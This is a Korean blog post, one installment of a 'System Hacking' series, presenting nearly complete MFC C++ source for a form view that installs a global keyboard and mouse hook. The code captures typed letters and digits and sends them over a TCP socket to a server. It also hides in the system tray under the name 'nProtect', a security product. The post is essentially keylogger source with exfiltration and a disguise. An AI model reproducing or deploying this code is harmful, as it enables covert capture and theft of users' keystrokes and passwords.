앞에서 만든 폼뷰(FormView)에 후킹을 해줄 기능을 구현해 준다.
// ChatFormView.cpp : 구현파일입니다. // #include "stdafx.h" #include "GlobalHooking.h" #include "ChatFormView.h" #include <mmsystem.h> #include "KeyHook.h" // CChatFormView IMPLEMENT_DYNCREATE(CChatFormView, CFormView) CChatFormView::CChatFormView() : CFormView(CChatFormView::IDD) , list(_T("")) { IsStart = false; SockStart(); } CChatFormView::~CChatFormView() { } void CChatFormView::DoDataExchange(CDataExchange* pDX) { CFormView::DoDataExchange(pDX); DDX_LBString(pDX, IDL_LIST, list); DDX_Control(pDX, IDL_LIST, c_list); } BEGIN_MESSAGE_MAP(CChatFormView, CFormView) ON_WM_CREATE() ON_MESSAGE(WM_HOOKED,HookedMessage) ON_MESSAGE(WM_HOOKEDM,HookedMMessage) ON_MESSAGE(WM_ICON_NOTIFY,OnTrayNotification) ON_WM_DESTROY() ON_BN_CLICKED(IDB_START, &CChatFormView::OnBnClickedStart) ON_COMMAND(IDM_EXIT, &CChatFormView::OnExit) ON_WM_CLOSE() ON_WM_SYSCOMMAND() ON_BN_CLICKED(IDB_MIN, &CChatFormView::OnBnClickedMin) END_MESSAGE_MAP() // CChatFormView 진단입니다. #ifdef _DEBUG void CChatFormView::AssertValid() const { CFormView::AssertValid(); } #ifndef _WIN32_WCE void CChatFormView::Dump(CDumpContext& dc) const { CFormView::Dump(dc); } #endif #endif //_DEBUG // CChatFormView 메시지처리기입니다. BOOL CChatFormView::Create(LPCTSTR lpszClassName, LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID, CCreateContext* pContext) { // TODO: 여기에특수화된코드를추가및/또는기본클래스를호출합니다. return CFormView::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, nID, pContext); } void CChatFormView::SockStart() { WSADATA wsaData; WSAStartup(MAKEWORD(2, 0), &wsaData); s = socket(AF_INET, SOCK_STREAM, 0); // TCP / IP SOCKADDR_IN addr; addr.sin_family = AF_INET; // 인터넷주소 addr.sin_port = 4000; // addr.sin_addr.s_addr = inet_addr("192.168.34.69"); // 서버ip addr.sin_addr.s_addr = gethostip(); int namelen = sizeof(addr); // 서버에접속을시도한다. if(connect(s, (SOCKADDR*)&addr, namelen) == -1){ return; } } LRESULT CChatFormView::HookedMessage(WPARAM wParam, LPARAM lParam) { int sendnum = 0; memset(buf,'\0',256); if((lParam & 0x80000000) == 0) { if(wParam >='A' && wParam <= 'Z') { PushBuf(wParam); } if(wParam >='0' && wParam <= '9') { PushBuf(wParam); } if((vi.size() != 0) && wParam == 9) //tab 입력받았을경우Send { SendBuf(); } if((vi.size() != 0) && wParam == 8) //백스페이스입력받았을때삭제 { vi.pop_back(); } if((vi.size() != 0) && wParam == 13) //엔터키입력받았을때Send { SendBuf(); } } return LRESULT(); } LRESULT CChatFormView::HookedMMessage(WPARAM wParam, LPARAM lParam) { if((vi.size() != 0) && (wParam == WM_LBUTTONUP)) //마우스클릭시Send { SendBuf(); } return LRESULT(); } void CChatFormView::SendBuf() { int j = vi.size(); for(int i=0;i < j;i++) { buf[i] = vi[i]; } send(s,buf,256,0); vi.clear(); } void CChatFormView::PushBuf(WPARAM wParam) { HWND hDlg = this->GetSafeHwnd(); wsprintf(Mes2,TEXT("입력된키: %c, 변환된키: %c"),wParam,wParam+10); ::SendMessage(::GetDlgItem(hDlg,IDL_LIST),LB_ADDSTRING,0,(LPARAM)Mes2); wsprintfA(buf,"%c",wParam+10); vi.push_back(*buf); } LRESULT CChatFormView::OnTrayNotification(WPARAM wParam, LPARAM lParam) { CMenu menu, *pSubMenu; // 오른쪽마우스버튼이눌렸을경우: 컨텍스트메뉴출력 if (LOWORD(lParam) == WM_RBUTTONUP) { if (!menu.LoadMenu(IDR_NP)) { return 0; } if (!(pSubMenu = menu.GetSubMenu(0))) { return 0; } CPoint pos; GetCursorPos(&pos); SetForegroundWindow(); // 컨텍스트메뉴출력 pSubMenu->TrackPopupMenu(TPM_RIGHTALIGN, pos.x, pos.y, this); menu.DestroyMenu(); } // 왼쪽마우스버튼이더블클릭되었을경우 else if (LOWORD(lParam) == WM_LBUTTONDBLCLK) { ShowWindow(SW_SHOW); } return LRESULT(); } int CChatFormView::OnCreate(LPCREATESTRUCT lpCreateStruct) { if (CFormView::OnCreate(lpCreateStruct) == -1) return -1; // TODO: 여기에특수화된작성코드를추가합니다. /////////////tray if(!m_TrayIcon.Create(this,WM_ICON_NOTIFY, _T("nProtect입니다"),NULL,IDI_NP)) { return -1; } m_TrayIcon.SetIcon(IDI_NP); return 0; } void CChatFormView::OnDestroy() { CFormView::OnDestroy(); // TODO: 여기에메시지처리기코드를추가합니다. WSACleanup(); UninstallHook(); } void CChatFormView::OnBnClickedStart() { // TODO: 여기에컨트롤알림처리기코드를추가합니다. HWND hWnd = this->GetSafeHwnd(); if(IsStart == false) { ::SetWindowText(::GetDlgItem(hWnd,IDB_START),TEXT("후킹중단")); InstallHook(hWnd); IsStart = true; } else { ::SetWindowText(::GetDlgItem(hWnd,IDB_START),TEXT("후킹시작")); UninstallHook(); IsStart = false; } } LONG CChatFormView::gethostip() { char name[256]; gethostname(name,255); hostent *hten; hten =gethostbyname(name); return (LONG)hten[1].h_addr_list; } void CChatFormView::OnExit() { // TODO: 여기에명령처리기코드를추가합니다. HWND hWnd = this->GetSafeHwnd(); NOTIFYICONDATA nid; nid.cbSize = sizeof(NOTIFYICONDATA); nid.hWnd = hWnd; nid.uID = 0; Shell_NotifyIcon(NIM_DELETE,&nid); HMENU hTrayMenu=0, hMenu=0; DestroyMenu(hTrayMenu); DestroyMenu(hMenu); PostQuitMessage(0); OnDestroy(); } void CChatFormView::OnClose() { // TODO: 여기에메시지처리기코드를추가및/또는기본값을호출합니다. ShowWindow(SW_HIDE); } void CChatFormView::OnSysCommand(UINT nID, LPARAM lParam) { // TODO: 여기에메시지처리기코드를추가및/또는기본값을호출합니다. if(nID == SC_MINIMIZE) { ShowWindow(SW_HIDE); } CFormView::OnSysCommand(nID, lParam); } void CChatFormView::OnBnClickedMin() { // TODO: 여기에컨트롤알림처리기코드를추가합니다. ShowWindow(SW_HIDE); } |
[출처] 엑티브엑스 컨트롤을 이용한 후킹 프로그램 4. 후킹 구현|작성자 Ian
'Security > System Hacking' 카테고리의 다른 글
엑티브엑스 컨트롤을 이용한 후킹 프로그램 3. 후킹 구현 (0) | 2012.07.12 |
---|---|
엑티브엑스 컨트롤을 이용한 후킹 프로그램 2. 폼뷰 만들기 (0) | 2012.07.12 |
엑티브엑스 컨트롤을 이용한 후킹 프로그램 1. DLL만들기 (0) | 2012.07.12 |
No.3 Format 스트링 (0) | 2012.07.11 |
No.2 Buffer OverFlow Attack (0) | 2012.07.11 |